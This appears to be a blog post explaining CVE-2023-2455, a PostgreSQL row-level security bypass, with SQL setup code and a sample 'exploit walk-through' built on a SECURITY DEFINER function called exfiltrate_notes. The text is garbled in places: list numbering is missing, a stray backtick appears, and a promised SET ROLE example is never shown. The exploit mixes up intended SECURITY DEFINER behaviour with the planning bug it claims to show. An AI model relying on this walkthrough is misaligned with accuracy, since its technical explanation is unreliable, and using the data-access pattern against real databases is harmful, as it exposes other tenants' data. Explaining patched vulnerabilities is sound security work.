CVE-2023-2455 - PostgreSQL Row Security Policy Bypass Explained
June 2023 brought attention to CVE-2023-2455, a subtle but potentially serious vulnerability in PostgreSQL databases that rely on row-level security (RLS) policies. Here we'll explain how it works, who it affects, and even walk through a sample exploit. If you use PostgreSQL's CREATE POLICY feature, this is a must-read.
What is CVE-2023-2455?
CVE-2023-2455 describes a bug where PostgreSQL could use the *wrong* row security policy if a query is planned with one user in mind but executed as another. This "role mix-up" can let users see or change data they shouldn't have access to.
The issue sneaks in because PostgreSQL sometimes *inlines* SQL code or pre-plans queries for efficient reuse. If, after planning, the execution happens under a different user account, the original policy may still apply, not the correct one for the new user.
TL;DR:
If you switch user roles before executing a cached (planned) query, you might bypass row-level security and access data you shouldn't.
Security Definer Functions:
Functions created with SECURITY DEFINER run with the privileges of the function's owner, not the caller. Queries planned here may get reused later with different permissions.
2. Role Switching / SET ROLE:
Users might SET ROLE to act as different database roles in the same session. If queries are planned as one role, but executed as another, RLS policies might not line up.
Suppose we have a table of confidential notes
CREATE TABLE notes (
id serial PRIMARY KEY,
owner text,
content text
);
Enforce RLS so users can only see *their own* notes
ALTER TABLE notes ENABLE ROW LEVEL SECURITY;
CREATE POLICY user_policy ON notes
USING (owner = current_user);
Add Data
INSERT INTO notes (owner, content) VALUES
('alice', 'Alice secret'),
('bob', 'Bob secret');
`
Because of the way the query was *planned*, the RLS policy may not re-evaluate with bob's permissions, mistakenly applying alice's policy. Bob might see only Alice's data, or (in more complex setups) possibly both Alice's and Bob's data!
A Realistic Exploit Walk-through
Let's simulate the steps programmatically, using psql or via any PostgreSQL driver.
1. Create Roles
CREATE ROLE alice LOGIN;
CREATE ROLE bob LOGIN;
2. Grant Table Privileges
GRANT SELECT ON notes TO alice, bob;
3. Setup in psql as alice
psql -U alice testdb
CREATE FUNCTION exfiltrate_notes()
RETURNS SETOF notes
LANGUAGE SQL
SECURITY DEFINER
AS $$
SELECT * FROM notes;
$$;
4. Now, Bob Calls the Function
Bob logs in and calls the function. If the function is already *planned* (cached) with Alice's role, PostgreSQL could re-use the preplanned query and apply the wrong policy.
psql -U bob testdb
SELECT * FROM exfiltrate_notes();
Expected:
Bob should see only his own notes.
Vulnerable:
Bob sees notes owned by Alice too.
Why is This Dangerous?
Anyone with permissions to run user-defined functions, or anyone able to change roles in a shared session, could potentially gain access to sensitive data they shouldn't—completely undermining the limits imposed by your RLS policies. If you use RLS for multi-tenant systems or for privacy controls, this is critical.
## Fixes/Workarounds
1. Upgrade PostgreSQL to a version where CVE-2023-2455 is patched (PostgreSQL Security Release, June 2023).
References & Further Reading
- CVE-2023-2455 on Mitre
- PostgreSQL Security Advisory
- PostgreSQL Row Level Security documentation
- Relevant mailing list discussion
Summary
CVE-2023-2455 is a reminder that security features are only as strong as their implementation. When using PostgreSQL's row-level security, always keep your database up to date and review your use of functions and roles to prevent data leaks.
If you use CREATE POLICY, stop and patch now.
Data privacy might depend on it.
*Written exclusively for you, in plain language. Stay safe and keep your databases secure!*
Timeline
Published on: 06/09/2023 19:15:00 UTC
Last modified on: 06/16/2023 16:24:00 UTC